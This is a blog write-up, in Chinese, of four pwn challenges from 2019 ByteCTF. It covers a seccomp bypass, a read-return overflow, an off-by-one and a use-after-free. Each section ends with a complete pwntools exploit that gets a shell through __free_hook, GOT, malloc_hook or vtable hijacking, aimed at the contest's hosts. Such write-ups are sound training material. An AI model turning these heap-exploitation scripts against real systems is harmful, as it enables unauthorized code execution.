骑麦兜看落日

[WriteUp]2019ByteCTF

字数统计: 2.7k阅读时长: 14 min
2019/09/10 Share

PWN


vip


题目信息

nc 112.126.103.14 9999

题目附件: 点击下载附件 1


程序分析

1
2
3
4
5
6
7
8
$ file vip 
vip: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5568ea4336c242cf49752f54e4de14aee2d21b35, for GNU/Linux 3.2.0, stripped
$ checksec vip
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

解题过程

程序的意图很明显,在edit时

1
2
3
4
5
6
7
8
9
10
11
ssize_t __fastcall read_rnd(char *buf, int size)
{
int fd; // [rsp+1Ch] [rbp-4h]

if ( dword_4040E0 )
return read(0, buf, size);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, buf, size);
}

为了使用户数据可控,要么使全局变量dword_4040E0为true,要么使fd=0

前一个方案由于用户数据的不可控而不可能,后一个方案则可以通过后门函数vip实现

程序中存在沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0009
0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
0008: 0x06 0x00 0x00 0x00050005 return ERRNO(5)
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

不过我们可以通过vip函数控制前6行,在遇到open函数时报错返回0,大致如下(比赛的时候写的删了,下边的没有测)

1
2
3
4
5
6
7
8
9
A = sys_number
A == openat ? next : allow
A = args[1]
A == 0xff
A == 0x7e ? next : allow
dead:
return ERRNO(0)
allow:
return ALLOW

这里有几个需要注意的点

  • open函数最终调用的是openat系统调用…这里搞了很久,最后调试了一下才发现
  • 由于system函数在开新的bash时可能会调用到open函数,所以需要再判断一下参数防止system调用失败
  • 这个规则虽然有7行,但其实最后一行可以调用原先存在的规则,只需要改一下偏移位

最终达到的效果就是调用open函数返回0,因此read函数可以正常读,之后就是常规的攻击手法


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './vip'
lib = './libc-2.27.so'
ip = '112.126.103.14'
port = 9999
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def choice(opt, idx=None):
io.sendlineafter('Your choice: ', str(opt))
if idx!=None:
io.sendlineafter('Index: ', str(idx))

def add(idx):
choice(1, idx)

def show(idx):
choice(2, idx)

def dele(idx):
choice(3, idx)

def edit(idx, size, content=''):
choice(4, idx)
io.sendlineafter('Size: ', str(size))
io.sendafter('Content: ', content)

def vip(name):
choice(6)
io.sendafter('name:', name)

def rule(code,jt ,jf ,k):
return p16(code) + p8(jt) + p8(jf) + p32(k)
def build_rule():
payload = ''
payload += rule(0x20,0x00,0x00,0x00000000)
payload += rule(0x15,0x00,0x07,0x00000101)
payload += rule(0x20,0x00,0x00,0x00000018)
payload += rule(0x54,0x00,0x00,0x000000ff)
payload += rule(0x15,0x00,0x04,0x0000007e)
payload += rule(0x06,0x00,0x00,0x00050000)
return payload

# ------------------------------------------------
LOCAL = 0
stdout_addr = 0x00000000004040A0
libc_off = 0x3ec760
# ------------------------------------------------


def exp():
#----------ban open----------
payload = build_rule()
vip('A'*0x20+payload)

#----------leak libc---------
add(0)
add(1)
add(2)
add(3)
add(4)

dele(2)
dele(1)
edit(0, 0x68, 'A'*0x58+p64(0x61)+p64(stdout_addr))
add(1)
add(2)
show(2)
libc.address = u64(io.recv(6).ljust(8, '\x00')) - libc_off
log.info(hex(libc.address))

#----------getshell----------
dele(3)
dele(1)
payload = '/bin/sh\x00'
payload += 'A'*(0x58-len(payload))
payload += p64(0x61)
payload += p64(libc.sym['__free_hook'])
edit(0, 0x68, payload)
add(1)
add(1)
edit(1, 0x8, p64(libc.sym['system']))

dele(0)


io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

相关资料


mheap


题目信息

nc 112.126.98.5 9999

题目附件: 点击下载附件 1


程序分析

1
2
3
4
5
6
7
8
$ file mheap 
mheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9f039b0ee102a6fbffedebb93fb000464586d385, for GNU/Linux 3.2.0, stripped
$ checksec mheap
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

解题过程

程序自己实现了一个单链表的malloc,这种数据结构只要存在洞就很容易攻击,不过这道题的难点也在于找洞

漏洞点和2018LCTF很相似,都是对于read函数的返回值检查不严格造成的,我们看对read函数返回值的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall readd(char *buf, signed int size)
{
__int64 result; // rax
signed int idx; // [rsp+18h] [rbp-8h]
int count; // [rsp+1Ch] [rbp-4h]

idx = 0;
do
{
result = (unsigned int)idx;
if ( idx >= size )
break;
count = read(0, &buf[idx], size - idx); // overflow
if ( !count )
exit(0);
idx += count;
result = (unsigned __int8)buf[idx - 1];
}
while ( (_BYTE)result != 10 );
return result;
}

可以发现函数只对返回值是否为0进行了检查,没有对函数返回失败进行检查

通常read函数很少会返回失败,但是由于这道题自己申请了一段内存,所以很容易越界读造成返回错误,因此造成了函数的反向溢出,就像开头说的,这道题如果存在漏洞就很容易攻击,针对这道题由于没有开PIE所以直接攻击got表即可

这里存在疑问的是不知道为什么read函数在返回失败后还是会保存缓冲区中的数据(其实用缓冲区并不准确因为read函数没有缓冲区?)


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './mheap'
lib = './libc-2.27.so'
ip = '112.126.98.5'
port = 9999
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def choice(opt, idx):
io.sendlineafter('Your choice: ', str(opt))
io.sendlineafter('Index: ', str(idx))

def new(idx, size, content):
choice(1, idx)
io.sendlineafter('Input size: ', str(size))
io.sendafter('Content: ', content)

def show(idx):
choice(2, idx)

def dele(idx):
choice(3, idx)

def edit(idx, content):
choice(4, idx)
io.sendline(content)

# ------------------------------------------------
LOCAL = 0
onegadgets = [0x4f2c5, 0x4f322, 0x10a38c]
# ------------------------------------------------

def exp():

new(0, 0xD00-0x10, 'A'*(0xD00-0x10))
new(1, 0x100-0x10, 'B'*(0x100-0x10))
dele(0)
dele(1)

#----------overflow----------
payload = ''
payload += 'C'*0x8
payload += p64(elf.got['__stack_chk_fail'])
payload += 'D'*(0x300-0x10-1)+'\n'
new(2, 0x300-0x10, payload)

#----------leak--------------
new(3, elf.plt['__stack_chk_fail']-0x10, p64(elf.plt['printf']+6)+'\n')
show(3)
libc.address = u64(io.recv(6).ljust(8, '\x00')) - libc.sym['printf']
log.info(hex(libc.address))

#----------getshell----------
edit(3, p64(libc.address+onegadgets[2]))

io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process(env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

notefive**


题目信息

nc 112.126.103.195 9999

题目附件: 点击下载附件 1


程序分析

1
2
3
4
5
6
7
8
9
$ file note_five 
note_five: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99cce6e83f71ad3fa44410c59cd5a40b4ade1acb, stripped
$ checksec note_five
[!] Couldn't find relocations against PLT to get symbols
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序存在一个offbynull,并且只能申请size>0x8f,由于无法申请fastbin,因此无法fastbin attack,第一个想到的是通过HouseOfOrange,理论上爆破一个半字节即可,不过不知道是人品还是什么原因,本地爆破成功但是远程不行,贴一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#!/usr/bin/env python2

from pwn import *
context(log_level='info', arch='amd64', aslr=True, os='linux', terminal=['tmux', 'splitw', '-h'])

exe = './note_five'
lib = './libc-2.23.so'
ip = '112.126.103.195'
port = 9999
elf = ELF(exe)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def choice(opt, idx):
io.recvuntil('choice>> ')
io.sendline(str(opt)+'\x00')
io.recvuntil('idx: ')
io.sendline(str(idx)+'\x00')

def new(idx, size):
choice(1, idx)
io.recvuntil('size: ')
io.sendline(str(size)+'\x00')

def edit(idx, content, end=False):
choice(2, idx)
if end:
io.sendafter('content: ', content)
else:
io.sendlineafter('content: ', content)

def dele(idx):
choice(3, idx)

# ------------------------------------------------
LOCAL = 1
script = ''
script += 'b _IO_flush_all_lockp\n'
script += 'directory /opt/glibc/tar/glibc-2.23/libio\n'
script += 'c\n'
# ------------------------------------------------

def exp():
#----------overlap----------
new(0, 0xb0-8)
new(1, 0x310-8)
new(2, 0xa0-8)

edit(1, '\x00'*0x2f0+p64(0x300))
dele(1)
edit(0, 'B'*0xa8+'\x00', end=True)

new(3, 0x150-8)
new(4, 0x150-8) # overlap

dele(3)
dele(2)

#----------fake vtable-------
new(1, 0xa0-8)
new(1, 0xa0-8)
new(2, 0x220-8)
dele(1)
new(1, 0xb0-8)
new(3, 0xb0-8)
dele(1)
dele(0)
new(0, 0x100)


#----------------------------
edit(2, 'C'*0x8+p64(0x131)+'C'*0x128+p64(0x21))
dele(4)
edit(2, 'D'*0x8+p64(0x131)+p64(0)+p16(0x2520-0x10))
new(4, 0x130-8)

new(0, 0xb0-8)
new(0, 0xb0-8)
edit(0, 'E'*8+'\x90\x23\xa5');
edit(2, 'F'*0x150+'/bin/sh\x00'+'F'*0x18+p64(0)+p64(1))
#dbg(script)

new(0, 0x200)
io.recvuntil('[vsyscall]\n')
io.sendline('cat flag')
flag = io.recv()
return flag



# ------------------------------------------------
if __name__ == '__main__':

while True:
try:

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

flag = exp()
log.info(flag)
if '{' in flag:
break
except Exception as e:
io.close()
io.interactive()

另一个思路是通过打global_max_fast,这个算是比较老的攻击方式了,第一次见还是在秦师傅的博客

我们可以通过打global_max_fast来获得更大size的fastbin,比如0xff,在IOFILE结构体中恰好有一个成员的值总是为0xffffffff,因此可以申请到stderr来修改stdout从而造成泄漏,再之后通过劫持vtable来getshell

这里存在另一个思路是再通过fastbin attack攻击stdin,通过两次攻击可以覆盖到malloc_hook从而getshell


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])

exe = './note_five'
lib = './libc-2.23.so'
ip = '112.126.103.195'
port = 9999
elf = ELF(exe)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def choice(opt, idx):
io.recvuntil('choice>> ')
io.sendline(str(opt)+'\x00')
io.recvuntil('idx: ')
io.sendline(str(idx)+'\x00')

def new(idx, size):
choice(1, idx)
io.recvuntil('size: ')
io.sendline(str(size)+'\x00')

def edit(idx, content, end=False):
choice(2, idx)
if end:
io.sendafter('content: ', content)
else:
io.sendlineafter('content: ', content)

def dele(idx):
choice(3, idx)

# ------------------------------------------------
LOCAL = 1
libc_off = 0x3c5640
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

# ------------------------------------------------

def exp():
#----------overlap--------------------------------
new(0, 0x98)
new(1, 0x210)
new(2, 0x98)

edit(1, 'A'*0x1f0+p64(0x200))
dele(1)
edit(0, 'B'*0x98+'\x00')

new(3, 0xa8)
new(4, 0x108) # overlap
dele(3)
dele(2)

new(2, 0x210)

#----------unsrotedbin attack---------------------
edit(2, 'C'*0xa8+p64(0xf1)+'C'*0xe8+p64(0x21))
dele(4)
edit(2, 'D'*0xa8+p64(0xf1)+p64(0)+p16(0x37f8-0x10)) # global_max_fast
new(4, 0xe8)

#----------fastbin attack-------------------------
dele(4)
edit(2, 'E'*0xa8+p64(0xf1)+p16(0x25b7)) # stderr
new(4, 0xe8)
new(3, 0xe8)
edit(3, '\x00'*0x59+p64(0xfbad1800)+p64(0)*3+p8(0x40))
libc.address = u64(io.recv(8)) - libc_off
log.info(hex(libc.address))

#----------hijack vtable--------------------------
dele(4)
edit(2, 'E'*0xa8+p64(0xf1)+p64(libc.sym['_IO_2_1_stdout_']+0x8f))
new(4, 0xe8)
new(2, 0xe8)

edit(3, 'A'+p64(libc.address+onegadgets[3])*11)
edit(2, 'A'+p64(libc.address+0x19e7a0)+'\x00'*0x18+p64(0xffffffff)+'\x00'*0x10+p64(libc.sym['_IO_2_1_stderr_']+128))

io.interactive()



# ------------------------------------------------
if __name__ == '__main__':


if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()

mulnote


题目信息

nc 112.126.101.96 9999

题目附件: 点击下载附件 1


程序分析

1
2
3
4
5
6
7
8
$ file mulnote
mulnote: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped
$ checksec mulnote
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

解题过程

程序应该是经过了混淆的,读不太懂直接盲测,发现存在UAF的漏洞,然后按照UAF的套路直接打,结果还打通了


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=False, terminal=['tmux', 'splitw', '-h'])

exe = './mulnote'
lib = './libc-2.23.so'
ip = '112.126.101.96'
port = 9999
elf = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc


def dbg(script=''):
attach(io, gdbscript=script)

def choice(c):
io.sendlineafter('>', c)

def add(size, note):
choice('C')
io.sendlineafter('size>', str(size))
io.sendafter('note>', note)

def edit(idx, note):
choice('E')
io.sendlineafter('index>', str(idx))
io.sendafter('new note>',note)

def dele(idx):
choice('R')
io.sendlineafter('index>', str(idx))

def show():
choice('S')

# ------------------------------------------------
LOCAL = 0
libc_off = 0x3c4b78
onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# ------------------------------------------------


def exp():
add(0x90, 'A'*0x10)
add(0x68, 'B'*0x10)
add(0x68, 'C'*0x10)
dele(0)
show()
io.recvuntil('[*]note[0]:\n')
libc.address = u64(io.recv(6).ljust(8, '\x00')) - libc_off

dele(1)
dele(2)
dele(1)
add(0x68, p64(libc.sym['__malloc_hook']-0x23))
add(0x68, 'D'*0x10)
add(0x68, 'E'*0x10)
add(0x68, 'F'*0x13+p64(libc.address+onegadgets[1]))
choice('C')

io.interactive()


# ------------------------------------------------
if __name__ == '__main__':

if LOCAL:
io = elf.process()#env={"LD_PRELOAD": libc.path})
else:
io = remote(ip, port)

exp()
CATALOG
  1. 1. PWN
    1. 1.1. vip
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
      5. 1.1.5. 相关资料
    2. 1.2. mheap
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. notefive**
      1. 1.3.1. 题目信息
      2. 1.3.2. 程序分析
      3. 1.3.3. 解题过程
      4. 1.3.4. EXP
    4. 1.4. mulnote
      1. 1.4.1. 题目信息
      2. 1.4.2. 程序分析
      3. 1.4.3. 解题过程
      4. 1.4.4. EXP